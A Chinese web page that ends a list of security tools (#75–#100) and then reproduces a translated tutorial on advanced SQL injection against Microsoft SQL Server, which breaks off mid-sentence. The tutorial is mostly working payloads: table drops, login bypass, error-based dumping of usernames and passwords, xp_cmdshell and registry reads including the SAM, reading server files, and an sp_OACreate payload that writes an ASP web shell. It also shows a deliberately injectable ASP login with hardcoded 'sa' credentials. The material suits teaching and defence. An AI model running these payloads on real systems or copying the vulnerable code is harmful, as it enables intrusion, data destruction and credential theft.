    ClamAV是一款强大的注重邮件服务器附件扫描的反病毒扫描器。它含有一个小巧的可升级的多线程daemon、一个命令行扫描器和自动升级工具。Clam AntiVirus基于AntiVirus package发布的开源病毒库,您也可以将此病毒库应用于您自己的软件中,但是别忘了经常升级。

    --------------------------------------------------------------------------------

    #75 cheops / cheops-ng:提供许多简单的网络工具,例如本地或远程网络映射和识别计算机操作系统
    Cheops提供许多好用的图形化用户界面网络工具。它含有主机/网络发现功能,也就是主机操作系统检测。Cheops-ng用来探查主机上运行的服务。针对某些服务,cheops-ng可以探查到运行服务的应用程序是什么,以及程序的版本号。Cheops已经停止开发和维护,所以请最好使用cheops-ng。

    --------------------------------------------------------------------------------

    #76 Burpsuite:一款网页程序攻击集成平台
    Burp suite允许攻击者结合手工和自动技术去枚举、分析、攻击网页程序。这些不同的burp工具通过协同工作,有效的分享信息,支持以某种工具中的信息为基础供另一种工具使用从而发动攻击。

    --------------------------------------------------------------------------------

    #77 Brutus:一款网络验证暴力破解器
    这款Windows平台上的暴力破解器通过字典猜测远程系统网络服务密码。它支持HTTP、POP3、FTP、SMB、TELNET、IMAP、NTP等等。不开放源码,UNIX平台上的类似软件有THC Hydra。

    --------------------------------------------------------------------------------

    #78 Unicornscan:另类端口扫描器
    Unicornscan是一款通过尝试连接用户系统(User-land)分布式TCP/IP堆栈获得信息和关联关系的端口扫描器。它试图为研究人员提供一种可以刺激TCP/IP设备和网络并度量反馈的超级接口。它主要功能包括带有所有TCP变种标记的异步无状态TCP扫描、异步无状态TCP标志捕获、通过分析反馈信息获取主动/被动远程操作系统、应用程序、组件信息。它和Scanrand一样都是另类扫描器。

    --------------------------------------------------------------------------------

    #79 Stunnel:用途广泛的SSL加密封装器
    stunnel用来对远程客户端和本地机(可启动inetd的:inetd-startable)或远程服务器间的SSL加密进行封装。它可以在不修改任何代码的情况下,为一般的使用inetd daemon的POP2、POP3和IMAP服务器添加SSL功能。它通过使用OpenSSL或SSLeay库建立SSL连接。

    --------------------------------------------------------------------------------

    #80 Honeyd:您私人的蜜罐系统
    Honeyd是一个可以在网络上创建虚拟主机的小型daemon。可以对此虚拟主机的服务和TCP进行配置,使其在网络中看起来是在运行某种操作系统。Honeyd可以使一台主机在局域网中模拟出多个地址以满足网络实验环境的要求。虚拟主机可以被ping通,也可以对它们进行路由跟踪。通过对配置文件进行设置可以使虚拟计算机模拟运行任何服务。也可以使用服务代理替代服务模拟。它的库有很多,所以编译和安装Honeyd比较难。

    --------------------------------------------------------------------------------

    #81 Fping:一个多主机同时ping扫描程序
    fping是一款类似ping(1)(ping(1)是通过ICMP(网络控制信息协议Internet Control Message Protocol)协议回复请求以检测主机是否存在)的程序。Fping与ping不同的地方在于,您可以在命令行中指定要ping的主机数量范围,也可以指定含有要ping的主机列表文件。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping。如果某一主机ping通,则此主机将被打上标记,并从等待列表中移除,如果没ping通,说明主机无法到达,主机仍然留在等待列表中,等待后续操作。

    --------------------------------------------------------------------------------

    #82 BASE:基础分析和安全引擎(Basic Analysis and Security Engine)
    BASE是一款基于PHP的可以搜索和实施安全事件的分析引擎,她的安全事件数据库来源于很多入侵检测系统、防火墙、网络检测工具生成的安全事件。它的功能包括一个查找生成器和搜索界面,用来搜索漏洞;一个数据包浏览器(解码器);还可以根据时间、传感器、信号、协议和IP地址等生成状态图。

    --------------------------------------------------------------------------------

    #83 Argus:IP网络事务评审工具
    Argus是一款固定模型的实时的流量监视器,用来跟踪和报告数据网络通讯流中所有事务的状态和性能。Argus为流量评估定制了一种数据格式,其中包括连通性、容量、请求、丢包、延迟和波动,这些就作为评估事务的元素。这种数据格式灵活易扩展,支持常用流量标识和度量,还可以获得指定的应用程序/协议的信息。

    --------------------------------------------------------------------------------

    #84 Wikto:网页服务器评估工具
    Wikto是一款检查网页服务器漏洞的工具。它和Nikto类似,但是添加了很多其它功能,例如一个整合了Google的后台发掘器。Wikto工作于MS ..NET环境下,下载此软件和源代码需要注册。

    --------------------------------------------------------------------------------

    #85 Sguil:网络安全监控器命令行分析器
    Sguil(按sgweel发音)是由network security analysts出品的网络安全分析工具。Sguil的主要组件就是一个Snort/barnyard实时事件显示界面。它还包含一些网络安全监控的辅助工具和事件驱动的入侵检测系统分析报告。

    --------------------------------------------------------------------------------

    #86 Scanrand:一个异常快速的无状态网络服务和拓朴结构发现系统
    Scanrand是一款类似Unicornscan的无状态主机发现和端口扫描工具。它以降低可靠性来换取异常快的速度,还使用了加密技术防止黑客修改扫描结果。此工具是Dan Kaminsky出品的Paketto Keiretsu的一部分。

    --------------------------------------------------------------------------------

    #87 IP Filter:小巧的UNIX数据包过滤器
    IP Filter是一款软件包,可以实现网络地址转换(network address translation)(NAT)或者防火墙服务的功能。它可以作为UNIX的一个核心模块,也可以不嵌入核心,强烈推荐将其作为UNIX的核心模块。安装和为系统文件打补丁要使用脚本。IP Filter内置于FreeBSD、NetBSD和Solaris中。OpenBSD可以使用Openbsd PF,Linux用户可以使用Netfilter。

    --------------------------------------------------------------------------------

    #88 Canvas:一款全面的漏洞检测框架
    Canvas是Aitel's ImmunitySec出品的一款漏洞检测工具。它包含150个以上的漏洞,它比Core Impact便宜一些,但是它也价值数千美元。您也可以通过购买VisualSploit Plugin实现在图形界面上通过拖拽就可以生成漏洞。Canvas偶尔也会发现一些ODay漏洞。

    --------------------------------------------------------------------------------

    #89 VMware:多平台虚拟软件
    VMware虚拟软件允许您在一个系统中虚拟运行另一个系统。这对于安全专家在多平台下测试代码和漏洞非常有用。它只运行在Windows和Linux平台上,但它可以虚拟运行几乎所有的x86操作系统。它对建立沙箱(sandboxes)也非常有用。在VMware虚拟系统上感染了恶意软件不会影响到宿主机器,可以通过加载快照文件恢复被感染了的虚拟系统。VMware不能创建虚拟系统的镜像文件。VMware最近刚刚宣布免费。另一款在Linux下颇受瞩目的虚拟平台软件是Xen。

    --------------------------------------------------------------------------------

    #90 Tcptraceroute:一款基于TCP数据包的路由跟踪工具
    现代网络广泛使用防火墙,导致传统路由跟踪工具发出的(ICMP应答(ICMP echo)或UDP)数据包都被过滤掉了,所以无法进行完整的路由跟踪。尽管如此,许多情况下,防火墙会准许反向(inbound)TCP数据包通过防火墙到达指定端口,这些端口是主机内防火墙背后的一些程序和外界连接用的。通过发送TCP SYN数据包来代替UDP或者ICMP应答数据包,tcptraceroute可以穿透大多数防火墙。

    --------------------------------------------------------------------------------

    #91 SAINT:安全管理综合网络工具
    SAINT象Nessus、ISS Internet Scanner和Retina一样,也是一款商业漏洞评估工具。它以前是运行在UNIX系统之上的免费开源工具,但现在收费了。

    --------------------------------------------------------------------------------

    #92 OpenVPN:全功能SSL VPN解决方案
    OpenVPN是一款开源的SSL VPN工具包,它可以实现很多功能,包括远程登录、站对站VPN、WiFi安全、带有负载平衡的企业级远程登录解决方案、节点控制移交(failover)、严密的访问控制。OpenVPN运行于OSI 2层或3层安全网络,使用SSL/TLS工业标准协议,支持灵活的基于证书、智能卡、二元验证的客户端验证方法,允许在VPN虚拟接口上使用防火墙规则作为用户或指定用户组的访问控制策略。OpenVPN使用OpenSSL作为其首选加密库

    --------------------------------------------------------------------------------

    #93 OllyDbg:汇编级Windows调试器
    OllyDbg是一款微软Windows平台上的32位汇编级的分析调试器。因其直接对二进制代码进行分析,所以在无法获得源代码的时候它非常有用。OllyDbg含有一个图形用户界面,它的高级代码分析器可以识别过程、循环、API调用、交换、表、常量和字符串,它可以加载运行时程序,支持多线程。OllyDbg可以免费下载,但不开源。
    --------------------------------------------------------------------------------

    #94 Helix:一款注重安全防护的Linux版本
    Helix是一款自定义版本的Knoppix自启动Linux光盘系统。Helix远不止是一张自启动光盘。除了光盘启动到自定义的Linux环境,还具有超强的硬件支持能力,包含许多应付各种问题的软件。Helix尽量少的接触主机软硬资源。Helix不自动加载交换(swap)空间,不自动加载其它任何外围设备。Helix还可以自动加载Windows,以应对意外情况。

    --------------------------------------------------------------------------------

    #95 Bastille:Linux、Mac OS X和HP-UX的安全加强脚本
    Bastille使操作系统固若金汤,减少系统遭受危险的可能,增加系统的安全性。Bastille还可以评估系统当前的安全性,周期性的报告每一项安全设置及其工作情况。Bastille当前支持Red Hat(Fedora Core、Enterprise和Numbered/Classic版本)、SUSE、Debian、Gentoo和Mandrake这些Linux版本,还有HP-UX和Mac OS X。Bastille旨在使系统用户和管理员了解如何加固系统。在其默认的最坚固模式下,它不断的询问用户问题,并对这些问题加以解释,根据用户对问题不同的回答选择不同的应对策略。在其评估模式下,它会生成一份报告旨在告诉用户有哪些安全设置可用,同时也提示用户哪些设置被加固了。

    --------------------------------------------------------------------------------

    #96 Acunetix Web Vulnerability Scanner:商业漏洞扫描器
    Acunetix WVS自动检查您的网页程序漏洞,例如SQL注入、跨网站脚本和验证页面弱密码破解。Acunetix WVS有着非常友好的用户界面,还可以生成个性化的网站安全评估报告。

    --------------------------------------------------------------------------------

    #97 TrueCrypt:开源的Windows和Linux磁盘加密软件
    TrueCrypt是一款非常出色的开源磁盘加密系统。用户可以加密整个文件系统,它可以实时加密/解密而不需要用户干涉,只要事先输入密码。非常巧妙的hidden volume特性允许您对特别敏感的内容进行第二层加密来隐藏它的存在。所以就算加密系统的密码暴露,黑客也不知道还有隐藏内容存在。

    --------------------------------------------------------------------------------

    #98 Watchfire AppScan:商业网页漏洞扫描器
    AppScan按照应用程序开发生命周期进行安全测试,早在开发阶段就进行单元测试和安全保证。Appscan能够扫描多种常见漏洞,例如跨网站脚本、HTTP应答切开、参数篡改、隐藏值篡改、后门/调试选项和缓冲区溢出等等。

    --------------------------------------------------------------------------------

    #99 N-Stealth:网页服务器扫描器
    N-Stealth是一款网页服务器安全扫描器。它比Whisker/libwhisker和Nikto这些免费的网页扫描器升级得更频繁,但是它网站上声称的可以扫描30000种漏洞(30000 vulnerabilities and exploits)和每天添加数十种漏洞(Dozens of vulnerability checks are added every day)的说法是很值得怀疑的。象Nessus、ISS Internet Scanner、Retina、SAINT和Sara这些防入侵工具都含有网页扫描组件,它们都很难做到每日更新。N-Stealth运行于Windows平台之上,且不开源。

    --------------------------------------------------------------------------------

    #100 MBSA:微软基准安全分析器(Microsoft Baseline Security Analyzer)
    Microsoft Baseline Security Analyzer(MBSA)是一款简单易用的工具,帮助IT专业人员检测其小型和中型商业应用的安全性,将用户系统与微软安全建议(Microsoft security recommendations)进行比对,并给出特定的建议指导。通过与Windows内置的Windows自动升级代理器(Windows Update Agent)和微软自动升级基础架构(Microsoft Update infrastructure)的协作,MBSA能够保证和其它微软管理产品的数据保持一致,它们包括微软自动升级(Microsoft Update(MU))、Windows服务器自动升级服务(Windows Server Update Services(WSUS))、系统管理服务器(Systems Management Server(SMS))和微软运行管理器(Microsoft Operations Manager(MOM))。MBSA平均每周要扫描3百万台电脑。


    SQL高级注入

    介绍:
         SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
         当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

    一个典型的SQL语句如下:
    Select id,forename,surname from authors
    这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
    Select id,forename,surname from authors where forename'john' and surname='smith'
    需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
    如下:
    Forename:jo'hn
    Surname:smith
    查询语句变为:
    Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
    当数据库试图去执行这个查询时,它将返回如下错误:
    Server:Msg 170, Level 15, State 1, Line 1
    Line 1:Incorrect syntax near 'hn'
    造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
    Forename:jo';drop table authors—
    Surname:
    结果是authors表被删除,造成这种结果的原因我们稍后再讲。

    看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
    Select id,forename,surname from authors where id=1234
    在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

    我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
    这是一个提交表单页的代码,让用户输入用户名和密码:
    <HTML>
    <HEAD>
    <TITLE>Login Page</TITLE>
    </HEAD>

    <BODY bgcolor='000000' text='cccccc'>
    <FONT Face='tahoma' color='cccccc'>
    <CENTER><H1>Login</H1>
    <FORM action='process_loginasp' method=post>
    <TABLE>
    <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
    <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
    </TABLE>
    <INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
    </FORM>
    </Font>
    </BODY>
    </HTML>
    下面是process_login.asp的代码,它是用来控制登陆的:
    <HTML>
    <BODY bgcolor='000000' text='ffffff'>
    <FONT Face='tahoma' color='ffffff'>
    <STYLE>
    p { font-size=20pt ! important}
    font { font-size=20pt ! important}
    h1 { font-size=64pt ! important}
    </STYLE>
    <%@LANGUAGE = JScript %>
    <%
    function trace( str ) {
    if( Request.form("debug") == "true" )
    Response.write( str );
    }
    function Login( cn ) {
    var username;
    var password;
    username = Request.form("username");
    password = Request.form("password");
    var rso = Server.CreateObject("ADODB.Recordset");
    var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
    rso.open( sql, cn );
    if (rso.EOF) {
    rso.close();
    %>
    <FONT Face='tahoma' color='cc0000'>
    <H1> <BR><BR>
    <CENTER>ACCESS DENIED</CENTER>
    </H1>
    </BODY>
    </HTML>
    <% Response.end return; }
    else {
    Session("username") = "" + rso("username");
    %>
    <FONT Face='tahoma' color='00cc00'>
    <H1> <CENTER>ACCESS GRANTED<BR> <BR>
    Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
    }
    function Main() { //Set up connection
    var username
    var cn = Server.createobject( "ADODB.Connection" );
    cn.connectiontimeout = 20;
    cn.open( "localserver", "sa", "password" );
    username = new String( Request.form("username") );
    if( username.length > 0) {
    Login( cn );
    }
    cn.close();
    }
    Main();
    %>
    出现问题的地方是process_lgin.asp中产生查询语句的部分:
    Var sql="select * from users where username='"+username+"' and password='"+password+"'";
    如果用户输入的信息如下:
    Username:';drop table users—
    Password:
    数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

    攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
    Username:admin'—
    攻击者可以使用users表中第一个用户,输入如下:
    Username:' or 1=1—
    更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
    Username:' union select 1,'fictional_user','some_password',1—
    这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

    通过错误消息获得信息
    这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

    为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
    Create talbe users(
                   Id int,
                   Username varchar(255),
                   Password varchar(255),
                   Privs int
                   )
    然后将下面的用户插入到users表中:
    Insert into users values(0,'admin','r00tr0x!',0xffff)
    Insert into users values(0,'guest','guest',0x0000)
    Insert into users values(0,'chris','password',0x00ff)
    Insert into users values(0,'fred','sesame',0x00ff)
    如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。
    幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
    (下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
    首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
    Username:' having 1=1—
    这样将会出现如下错误:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
    /process_login.asp, line 35
    因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:
    Username:' group by users.id having 1=1—
    出现的错误如下:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
    /process_login.asp, line 35
    最终攻击者得到了username字段后:
    ‘ group by users.id,users.username,users.password,users.privs having 1=1—
    这句话并不产生错误,相当于:
    select * from users where username=''
    因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。
    能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
    Username:' union select sum(username) from users—
    这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
    /process_login.asp, line 35
    这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
    Username:' union select sum(id) from users—
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

    [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
    /process_login.asp, line 35
    我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
    这样攻击者就可以写一个好的insert查询,例如:
    Username:';insert into users values(666,'attacker','foobar','0xffff)—
    这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
    select * from master ..sysmessages
    解释这些将实现有趣的消息。

    一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
    Username:' union select @@version,1,1,1—
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
    /process_login.asp, line 35
    这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。

    这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
    Username:' union select min(username),1,1,1 from users where username>'a'—
    这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
    /process_login.asp, line 35
    因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
    Username:' union select min(username),1,1,1 from users where username>'admin'—
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
    /process_login.asp, line 35
    一旦攻击者确定了用户名,他就可以开始收集密码:
    Username:' union select password,1,1,1 from users where username='admin'—
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
    /process_login.asp, line 35

    一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:
    begin declare @ret varchar(8000)
    set @ret=':'
    select @ret=@ret+'   '+username+'/'+password from users where
    username>@ret
    select @ret as ret into foo
    end
    攻击者使用这个当作用户名登陆(都在一行)
    Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
    这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
    然后攻击者就可以取得我们要得到的字符串:
    Username:' union select ret,1,1,1 from foo—
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
    /process_login.asp, line 35
    然后丢弃(删除)表来清楚脚印:
    Username:'; drop table foo—
    这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。

    获得更高的权限
    一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:
    1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。
    2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)
    3. 利用其他存储过程去改变服务器
    4. 在连接的服务器上执行查询
    5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
    6. 使用'bulk insert'语法去读服务器上的任意文件
    7. 使用bcp在服务器上建立任意的文本格式的文件
    8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情

    这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:

    [xp_cmdshell]
    许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。
    Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
    Exec master..xp_cmdshell 'dir'
    将获得SQLSERVER进程的当前工作目录中的目录列表。
    Exec master..xp_cmdshell 'net user'
    将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

    [xp_regread]
    另一个有用的内置存储过程是xp_regXXXX类的函数集合。
    Xp_regaddmultistring
    Xp_regdeletekey
    Xp_regdeletevalue
    Xp_regenumkeys
    Xp_regenumvalues
    Xp_regread
    Xp_regremovemultistring
    Xp_regwrite

    这些函数的使用方法举例如下:
    exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
    这将确定什么样的会话连接在服务器上是可以使用的

    exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
    这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。

    这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。

    [其他存储过程]
    xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:
    exec master..xp_servicecontrol 'start','schedule'
    exec master..xp_servicecontrol 'start','server'
    下表中列出了少量的其他有用的存储过程:
    Xp_availablemedia 显示机器上有用的驱动器
    Xp_dirtree 允许获得一个目录树
    Xp_enumdsn 列举服务器上的ODBC数据源
    Xp_loginconfig Reveals information about the security mode of the server
    Xp_makecab 允许用户在服务器上创建一个压缩文件
    Xp_ntsec_enumdomains 列举服务器可以进入的域
    Xp_terminate_process 提供进程的进程ID,终止此进程

    [Linked Servers]
    SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用'sp_addlinkedsrvlogin'过程,当前可信的连接不用登陆就可以访问到服务器。'openquery'函数允许查询脱离服务器也可以执行。

    [Custom extended stored procedures]
    扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。
         一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):

    Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'
    在正常的方式下,这个扩展存储过程可以被运行:
    exec xp_webserver
    一旦这个程序被运行,可以使用下面的方法将它除去:
    xp_dropextendedproc 'xp_webserver'

    [将文本文件导入表]
    使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
    create table foo( line varchar(8000) )
    然后执行bulk insert操作把文件中的数据插入到表中,如:
    bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

    可以使用上述的错误消息技术,或者使用'union'选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。

    [使用bcp建立文本文件]
         使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。'bcp',即'bulk copy program'
         既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。

    命令行格式如下:
    bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
    'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'

    [ActiveX automation scripts in SQL SERVER]
    SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:

    (1)这个例子使用'wscript.shell'对象建立了一个记事本的实例:
    wscript.shell example
    declare @o int
    exec sp_oacreate 'wscript.shell',@o out
    exec sp_oamethod @o,'run',NULL,'notepad.exe'
    我们可以通过指定在用户名后面来执行它:
    Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—

    (2)这个例子使用'scripting.filesystemobject'对象读一个已知的文本文件:
    --scripting.filesystemobject example – read a known file
    declare @o int, @f int, @t int, @ret int
    declare @line varchar(8000)
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
    exec @ret=sp_oamethod @f,'readline',@line out
    while(@ret=0)
    begin
         print @line
         exec @ret=sp_oamethod @f,'readline',@line out
    end

    (3)这个例子创建了一个能执行通过提交到的任何命令:
    -- scripting.filesystemobject example – create a 'run this'.asp file
    declare @o int,@f int,@t int,@ret int
    exec sp_oacreate 'scripting.filesystemobject',@o out
    exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1
    exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>'
    需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。

    (4)这些例子阐述了这个技术的适用性;它可以使用'speech.voicetext'对象引起SQL SERVER发声:
    declare @o int,@ret int
    exec sp_oacreate 'speech.voicetext',@o out
    exec sp_oamethod @o,'register',NULL,'foo','bar'
    exec sp_oasetproperty @o,'speed',150
    exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
    waitfor delay '00:00:05'
    我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
    Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--

    [存储过程]
    传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。
    本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。
    比较好的常规的标准是:
